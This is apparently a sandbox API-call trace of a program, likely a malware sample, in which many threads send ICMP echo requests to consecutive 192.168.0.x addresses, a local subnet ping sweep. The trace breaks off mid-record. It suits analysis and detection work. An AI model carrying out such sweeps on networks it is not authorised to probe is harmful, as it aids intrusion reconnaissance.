	[0226.409] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x279bf0
	[0226.409] SetLastError (dwErrCode=0x57) 
	[0226.409] IcmpCreateFile () returned 0x24cd20
	[0228.057] IcmpSendEcho (IcmpHandle=0x24cd20, DestinationAddress=0x800a8c0, RequestData=0x8e4fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8e4fa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 773
	os_tid = 0xb70

	[0226.410] GetLastError () returned 0x57
	[0226.410] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x27a3f0
	[0226.411] SetLastError (dwErrCode=0x57) 
	[0226.411] IcmpCreateFile () returned 0x24cd70
	[0228.058] IcmpSendEcho (IcmpHandle=0x24cd70, DestinationAddress=0x900a8c0, RequestData=0x8d0f920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x8d0f940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 774
	os_tid = 0x104c

	[0226.412] GetLastError () returned 0x57
	[0226.412] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x27abe0
	[0226.412] SetLastError (dwErrCode=0x57) 
	[0226.412] IcmpCreateFile () returned 0x24cdc0
	[0228.059] IcmpSendEcho (IcmpHandle=0x24cdc0, DestinationAddress=0xa00a8c0, RequestData=0x901f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x901f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 775
	os_tid = 0x654

	[0226.450] GetLastError () returned 0x57
	[0226.450] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x27b3d0
	[0226.450] SetLastError (dwErrCode=0x57) 
	[0226.450] IcmpCreateFile () returned 0x24ce10
	[0228.060] IcmpSendEcho (IcmpHandle=0x24ce10, DestinationAddress=0xb00a8c0, RequestData=0x912f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x912f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 776
	os_tid = 0x77c

	[0226.451] GetLastError () returned 0x57
	[0226.451] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x27bbc0
	[0226.451] SetLastError (dwErrCode=0x57) 
	[0226.451] IcmpCreateFile () returned 0x24ce60
	[0228.061] IcmpSendEcho (IcmpHandle=0x24ce60, DestinationAddress=0xc00a8c0, RequestData=0x93bf940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x93bf960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 777
	os_tid = 0x10f4

	[0226.452] GetLastError () returned 0x57
	[0226.452] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x27c3b0
	[0226.452] SetLastError (dwErrCode=0x57) 
	[0226.452] IcmpCreateFile () returned 0x24ceb0
	[0228.062] IcmpSendEcho (IcmpHandle=0x24ceb0, DestinationAddress=0xd00a8c0, RequestData=0x927fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x927fb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 778
	os_tid = 0x1078

	[0226.453] GetLastError () returned 0x57
	[0226.453] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x27cba0
	[0226.454] SetLastError (dwErrCode=0x57) 
	[0226.454] IcmpCreateFile () returned 0x24cf00
	[0228.063] IcmpSendEcho (IcmpHandle=0x24cf00, DestinationAddress=0xe00a8c0, RequestData=0x960f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x960f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 779
	os_tid = 0x2ac

	[0226.456] GetLastError () returned 0x57
	[0226.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x285370
	[0226.457] SetLastError (dwErrCode=0x57) 
	[0226.457] IcmpCreateFile () returned 0x24cf50
	[0228.064] IcmpSendEcho (IcmpHandle=0x24cf50, DestinationAddress=0xf00a8c0, RequestData=0x890f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x890f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 780
	os_tid = 0x6f4

	[0226.457] GetLastError () returned 0x57
	[0226.457] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x285740
	[0226.458] SetLastError (dwErrCode=0x57) 
	[0226.458] IcmpCreateFile () returned 0x24cfa0
	[0228.065] IcmpSendEcho (IcmpHandle=0x24cfa0, DestinationAddress=0x1000a8c0, RequestData=0x97af8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x97af8e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 781
	os_tid = 0x928

	[0226.458] GetLastError () returned 0x57
	[0226.458] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x274ea0
	[0226.458] SetLastError (dwErrCode=0x57) 
	[0226.459] IcmpCreateFile () returned 0x24cff0
	[0228.066] IcmpSendEcho (IcmpHandle=0x24cff0, DestinationAddress=0x1100a8c0, RequestData=0x98afa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x98afa80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 782
	os_tid = 0xbbc

	[0226.460] GetLastError () returned 0x57
	[0226.460] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x275270
	[0226.460] SetLastError (dwErrCode=0x57) 
	[0226.460] IcmpCreateFile () returned 0x24d040
	[0228.068] IcmpSendEcho (IcmpHandle=0x24d040, DestinationAddress=0x1200a8c0, RequestData=0x94dfe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x94dfea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 783
	os_tid = 0x8b4

	[0226.461] GetLastError () returned 0x57
	[0226.461] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x275640
	[0226.461] SetLastError (dwErrCode=0x57) 
	[0226.461] IcmpCreateFile () returned 0x24d090
	[0228.069] IcmpSendEcho (IcmpHandle=0x24d090, DestinationAddress=0x1300a8c0, RequestData=0x9a0f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9a0f920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 784
	os_tid = 0x10ac

	[0226.462] GetLastError () returned 0x57
	[0226.462] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x275a10
	[0226.462] SetLastError (dwErrCode=0x57) 
	[0226.462] IcmpCreateFile () returned 0x24d0e0
	[0228.070] IcmpSendEcho (IcmpHandle=0x24d0e0, DestinationAddress=0x1400a8c0, RequestData=0x9c4fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9c4fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 785
	os_tid = 0x105c

	[0226.463] GetLastError () returned 0x57
	[0226.463] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x275de0
	[0226.463] SetLastError (dwErrCode=0x57) 
	[0226.463] IcmpCreateFile () returned 0x24d130
	[0228.071] IcmpSendEcho (IcmpHandle=0x24d130, DestinationAddress=0x1500a8c0, RequestData=0x9edf700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9edf720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 786
	os_tid = 0x948

	[0226.463] GetLastError () returned 0x57
	[0226.464] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2761b0
	[0226.464] SetLastError (dwErrCode=0x57) 
	[0226.464] IcmpCreateFile () returned 0x24d180
	[0228.072] IcmpSendEcho (IcmpHandle=0x24d180, DestinationAddress=0x1600a8c0, RequestData=0x9d5fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9d5fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 787
	os_tid = 0x116c

	[0226.465] GetLastError () returned 0x57
	[0226.465] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x276580
	[0226.465] SetLastError (dwErrCode=0x57) 
	[0226.466] IcmpCreateFile () returned 0x24d1d0
	[0228.073] IcmpSendEcho (IcmpHandle=0x24d1d0, DestinationAddress=0x1700a8c0, RequestData=0xa0cfcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa0cfce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 788
	os_tid = 0x117c

	[0226.466] GetLastError () returned 0x57
	[0226.466] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x276950
	[0226.466] SetLastError (dwErrCode=0x57) 
	[0226.466] IcmpCreateFile () returned 0x24d220
	[0228.074] IcmpSendEcho (IcmpHandle=0x24d220, DestinationAddress=0x1800a8c0, RequestData=0x9b0fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x9b0fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 789
	os_tid = 0x120

	[0226.467] GetLastError () returned 0x57
	[0226.467] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x276d20
	[0226.467] SetLastError (dwErrCode=0x57) 
	[0226.467] IcmpCreateFile () returned 0x24d270
	[0228.075] IcmpSendEcho (IcmpHandle=0x24d270, DestinationAddress=0x1900a8c0, RequestData=0xa26f8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa26f8c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 790
	os_tid = 0x122c

	[0226.468] GetLastError () returned 0x57
	[0226.468] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2770f0
	[0226.468] SetLastError (dwErrCode=0x57) 
	[0226.468] IcmpCreateFile () returned 0x285b40
	[0228.076] IcmpSendEcho (IcmpHandle=0x285b40, DestinationAddress=0x1a00a8c0, RequestData=0xa4afa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa4afa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 791
	os_tid = 0x1180

	[0226.470] GetLastError () returned 0x57
	[0226.470] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2774c0
	[0226.471] SetLastError (dwErrCode=0x57) 
	[0226.471] IcmpCreateFile () returned 0x285b90
	[0228.077] IcmpSendEcho (IcmpHandle=0x285b90, DestinationAddress=0x1b00a8c0, RequestData=0xa38f8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa38f8c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 792
	os_tid = 0x1184

	[0226.471] GetLastError () returned 0x57
	[0226.471] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x277890
	[0226.472] SetLastError (dwErrCode=0x57) 
	[0226.472] IcmpCreateFile () returned 0x285be0
	[0228.078] IcmpSendEcho (IcmpHandle=0x285be0, DestinationAddress=0x1c00a8c0, RequestData=0xa78f9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa78f9c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 793
	os_tid = 0x1e4

	[0226.703] GetLastError () returned 0x57
	[0226.703] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x277c60
	[0226.703] SetLastError (dwErrCode=0x57) 
	[0226.703] IcmpCreateFile () returned 0x285c30
	[0228.079] IcmpSendEcho (IcmpHandle=0x285c30, DestinationAddress=0x1d00a8c0, RequestData=0xa5ef880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa5ef8a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 801
	os_tid = 0x480

	[0226.704] GetLastError () returned 0x57
	[0226.704] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x278030
	[0226.704] SetLastError (dwErrCode=0x57) 
	[0226.704] IcmpCreateFile () returned 0x285c80
	[0228.080] IcmpSendEcho (IcmpHandle=0x285c80, DestinationAddress=0x1e00a8c0, RequestData=0xaa6f940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xaa6f960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 802
	os_tid = 0x1c0

	[0226.705] GetLastError () returned 0x57
	[0226.705] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x278400
	[0226.705] SetLastError (dwErrCode=0x57) 
	[0226.705] IcmpCreateFile () returned 0x285cd0
	[0228.081] IcmpSendEcho (IcmpHandle=0x285cd0, DestinationAddress=0x1f00a8c0, RequestData=0xabff720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xabff740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 803
	os_tid = 0x1214

	[0226.706] GetLastError () returned 0x57
	[0226.706] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2787d0
	[0226.706] SetLastError (dwErrCode=0x57) 
	[0226.706] IcmpCreateFile () returned 0x285d20
	[0228.082] IcmpSendEcho (IcmpHandle=0x285d20, DestinationAddress=0x2000a8c0, RequestData=0xa8ef8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xa8ef8c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 804
	os_tid = 0x490

	[0226.707] GetLastError () returned 0x57
	[0226.707] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x287b90
	[0226.709] SetLastError (dwErrCode=0x57) 
	[0226.709] IcmpCreateFile () returned 0x285d70
	[0228.084] IcmpSendEcho (IcmpHandle=0x285d70, DestinationAddress=0x2100a8c0, RequestData=0xad7fb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xad7fb80, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 805
	os_tid = 0x98c

	[0226.710] GetLastError () returned 0x57
	[0226.710] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x287f60
	[0226.710] SetLastError (dwErrCode=0x57) 
	[0226.710] IcmpCreateFile () returned 0x285dc0
	[0228.087] IcmpSendEcho (IcmpHandle=0x285dc0, DestinationAddress=0x2200a8c0, RequestData=0xae9fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xae9fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 806
	os_tid = 0x174

	[0226.711] GetLastError () returned 0x57
	[0226.711] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x288330
	[0226.711] SetLastError (dwErrCode=0x57) 
	[0226.711] IcmpCreateFile () returned 0x285e10
	[0228.088] IcmpSendEcho (IcmpHandle=0x285e10, DestinationAddress=0x2300a8c0, RequestData=0xb17f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb17f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 807
	os_tid = 0x1258

	[0226.712] GetLastError () returned 0x57
	[0226.712] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x288700
	[0226.713] SetLastError (dwErrCode=0x57) 
	[0226.713] IcmpCreateFile () returned 0x285e60
	[0228.089] IcmpSendEcho (IcmpHandle=0x285e60, DestinationAddress=0x2400a8c0, RequestData=0xb30f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb30f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 808
	os_tid = 0x11a0

	[0226.713] GetLastError () returned 0x57
	[0226.713] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x288ad0
	[0226.714] SetLastError (dwErrCode=0x57) 
	[0226.714] IcmpCreateFile () returned 0x285eb0
	[0228.090] IcmpSendEcho (IcmpHandle=0x285eb0, DestinationAddress=0x2500a8c0, RequestData=0xb45fd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb45fda0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 809
	os_tid = 0x11a4

	[0226.715] GetLastError () returned 0x57
	[0226.715] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x288ea0
	[0226.716] SetLastError (dwErrCode=0x57) 
	[0226.716] IcmpCreateFile () returned 0x285f00
	[0228.091] IcmpSendEcho (IcmpHandle=0x285f00, DestinationAddress=0x2600a8c0, RequestData=0xb5af940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb5af960, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 810
	os_tid = 0x1268

	[0226.716] GetLastError () returned 0x57
	[0226.717] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x289270
	[0226.717] SetLastError (dwErrCode=0x57) 
	[0226.717] IcmpCreateFile () returned 0x285f50
	[0228.093] IcmpSendEcho (IcmpHandle=0x285f50, DestinationAddress=0x2700a8c0, RequestData=0xb79f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb79f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 811
	os_tid = 0x11e8

	[0226.717] GetLastError () returned 0x57
	[0226.717] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x289640
	[0226.718] SetLastError (dwErrCode=0x57) 
	[0226.718] IcmpCreateFile () returned 0x285fa0
	[0228.094] IcmpSendEcho (IcmpHandle=0x285fa0, DestinationAddress=0x2800a8c0, RequestData=0xb92fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb92faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 812
	os_tid = 0x11ec

	[0226.718] GetLastError () returned 0x57
	[0226.718] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x289a10
	[0226.719] SetLastError (dwErrCode=0x57) 
	[0226.719] IcmpCreateFile () returned 0x285ff0
	[0228.095] IcmpSendEcho (IcmpHandle=0x285ff0, DestinationAddress=0x2900a8c0, RequestData=0xb03fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xb03fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 813
	os_tid = 0x934

	[0226.719] GetLastError () returned 0x57
	[0226.719] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x289de0
	[0226.720] SetLastError (dwErrCode=0x57) 
	[0226.720] IcmpCreateFile () returned 0x286040
	[0228.096] IcmpSendEcho (IcmpHandle=0x286040, DestinationAddress=0x2a00a8c0, RequestData=0xbb4f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbb4f780, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 814
	os_tid = 0x1274

	[0226.720] GetLastError () returned 0x57
	[0226.720] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x28a1b0
	[0226.721] SetLastError (dwErrCode=0x57) 
	[0226.721] IcmpCreateFile () returned 0x286090
	[0228.098] IcmpSendEcho (IcmpHandle=0x286090, DestinationAddress=0x2b00a8c0, RequestData=0xbddf7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbddf7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 815
	os_tid = 0x1230

	[0226.722] GetLastError () returned 0x57
	[0226.722] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x28a580
	[0226.723] SetLastError (dwErrCode=0x57) 
	[0226.723] IcmpCreateFile () returned 0x2860e0
	[0228.099] IcmpSendEcho (IcmpHandle=0x2860e0, DestinationAddress=0x2c00a8c0, RequestData=0xbf4fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbf4fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 816
	os_tid = 0x1234

	[0226.723] GetLastError () returned 0x57
	[0226.723] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x28a950
	[0226.724] SetLastError (dwErrCode=0x57) 
	[0226.724] IcmpCreateFile () returned 0x286130
	[0228.100] IcmpSendEcho (IcmpHandle=0x286130, DestinationAddress=0x2d00a8c0, RequestData=0xbc9f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbc9f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 817
	os_tid = 0x1278

	[0226.724] GetLastError () returned 0x57
	[0226.724] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x28ad20
	[0226.725] SetLastError (dwErrCode=0x57) 
	[0226.725] IcmpCreateFile () returned 0x286180
	[0228.101] IcmpSendEcho (IcmpHandle=0x286180, DestinationAddress=0x2e00a8c0, RequestData=0xc09fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc09fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 818
	os_tid = 0x123c

	[0226.725] GetLastError () returned 0x57
	[0226.725] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x28b0f0
	[0226.726] SetLastError (dwErrCode=0x57) 
	[0226.726] IcmpCreateFile () returned 0x2861d0
	[0228.104] IcmpSendEcho (IcmpHandle=0x2861d0, DestinationAddress=0x2f00a8c0, RequestData=0xc30fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc30fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 819
	os_tid = 0x1240

	[0226.726] GetLastError () returned 0x57
	[0226.726] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x28b4c0
	[0226.727] SetLastError (dwErrCode=0x57) 
	[0226.727] IcmpCreateFile () returned 0x286220
	[0228.106] IcmpSendEcho (IcmpHandle=0x286220, DestinationAddress=0x3000a8c0, RequestData=0xba2fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xba2fe40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 820
	os_tid = 0x1250

	[0226.883] GetLastError () returned 0x57
	[0226.883] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x294390
	[0226.887] SetLastError (dwErrCode=0x57) 
	[0226.887] IcmpCreateFile () returned 0x286270
	[0228.107] IcmpSendEcho (IcmpHandle=0x286270, DestinationAddress=0x3100a8c0, RequestData=0xc40fdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc40fde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 829
	os_tid = 0x798

	[0226.887] GetLastError () returned 0x57
	[0226.887] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x294760
	[0226.888] SetLastError (dwErrCode=0x57) 
	[0226.888] IcmpCreateFile () returned 0x2862c0
	[0228.108] IcmpSendEcho (IcmpHandle=0x2862c0, DestinationAddress=0x3200a8c0, RequestData=0xc19f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc19f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 830
	os_tid = 0x918

	[0226.888] GetLastError () returned 0x57
	[0226.889] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x294b30
	[0226.889] SetLastError (dwErrCode=0x57) 
	[0226.889] IcmpCreateFile () returned 0x286310
	[0228.109] IcmpSendEcho (IcmpHandle=0x286310, DestinationAddress=0x3300a8c0, RequestData=0xc66f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc66f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 831
	os_tid = 0xbc0

	[0226.889] GetLastError () returned 0x57
	[0226.890] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x294f00
	[0226.890] SetLastError (dwErrCode=0x57) 
	[0226.890] IcmpCreateFile () returned 0x286360
	[0228.110] IcmpSendEcho (IcmpHandle=0x286360, DestinationAddress=0x3400a8c0, RequestData=0xc8dfc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc8dfc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 832
	os_tid = 0x40c

	[0226.890] GetLastError () returned 0x57
	[0226.891] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2952d0
	[0226.891] SetLastError (dwErrCode=0x57) 
	[0226.891] IcmpCreateFile () returned 0x2863b0
	[0228.111] IcmpSendEcho (IcmpHandle=0x2863b0, DestinationAddress=0x3500a8c0, RequestData=0xca8fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xca8fe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 833
	os_tid = 0x129c

	[0226.892] GetLastError () returned 0x57
	[0226.892] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2956a0
	[0226.892] SetLastError (dwErrCode=0x57) 
	[0226.892] IcmpCreateFile () returned 0x286400
	[0228.112] IcmpSendEcho (IcmpHandle=0x286400, DestinationAddress=0x3600a8c0, RequestData=0xc7dfce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc7dfd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 834
	os_tid = 0x548

	[0226.893] GetLastError () returned 0x57
	[0226.893] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x295a70
	[0226.893] SetLastError (dwErrCode=0x57) 
	[0226.893] IcmpCreateFile () returned 0x286450
	[0228.113] IcmpSendEcho (IcmpHandle=0x286450, DestinationAddress=0x3700a8c0, RequestData=0xcc9fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcc9fcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 835
	os_tid = 0x1298

	[0226.894] GetLastError () returned 0x57
	[0226.894] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x295e40
	[0226.894] SetLastError (dwErrCode=0x57) 
	[0226.894] IcmpCreateFile () returned 0x2864a0
	[0228.114] IcmpSendEcho (IcmpHandle=0x2864a0, DestinationAddress=0x3800a8c0, RequestData=0xce8f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xce8f900, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 836
	os_tid = 0xa58

	[0226.895] GetLastError () returned 0x57
	[0226.896] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x296210
	[0226.896] SetLastError (dwErrCode=0x57) 
	[0226.896] IcmpCreateFile () returned 0x2864f0
	[0228.115] IcmpSendEcho (IcmpHandle=0x2864f0, DestinationAddress=0x3900a8c0, RequestData=0xcb9faa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcb9fac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 837
	os_tid = 0x598

	[0226.897] GetLastError () returned 0x57
	[0226.897] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2965e0
	[0226.897] SetLastError (dwErrCode=0x57) 
	[0226.897] IcmpCreateFile () returned 0x286540
	[0228.116] IcmpSendEcho (IcmpHandle=0x286540, DestinationAddress=0x3a00a8c0, RequestData=0xd05fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd05fbe0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 838
	os_tid = 0x1128

	[0226.898] GetLastError () returned 0x57
	[0226.898] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2969b0
	[0226.898] SetLastError (dwErrCode=0x57) 
	[0226.898] IcmpCreateFile () returned 0x286590
	[0228.117] IcmpSendEcho (IcmpHandle=0x286590, DestinationAddress=0x3b00a8c0, RequestData=0xc52f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc52f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 839
	os_tid = 0x1170

	[0226.899] GetLastError () returned 0x57
	[0226.899] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x296d80
	[0226.899] SetLastError (dwErrCode=0x57) 
	[0226.899] IcmpCreateFile () returned 0x2865e0
	[0228.118] IcmpSendEcho (in: IcmpHandle=0x2865e0, DestinationAddress=0x3c00a8c0, RequestData=0xd17f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd17f9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd17f9e0) returned 0x1
	[0228.473] IcmpCloseHandle (IcmpHandle=0x2865e0) returned 1
	[0228.473] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x296d80 | out: hHeap=0x230000) returned 1

Thread:
	id = 840
	os_tid = 0x340

	[0226.900] GetLastError () returned 0x57
	[0226.901] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x297150
	[0226.901] SetLastError (dwErrCode=0x57) 
	[0226.901] IcmpCreateFile () returned 0x286630
	[0228.121] IcmpSendEcho (IcmpHandle=0x286630, DestinationAddress=0x3d00a8c0, RequestData=0xd2ff920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd2ff940, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 841
	os_tid = 0x3ac

	[0226.903] GetLastError () returned 0x57
	[0226.903] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x297520
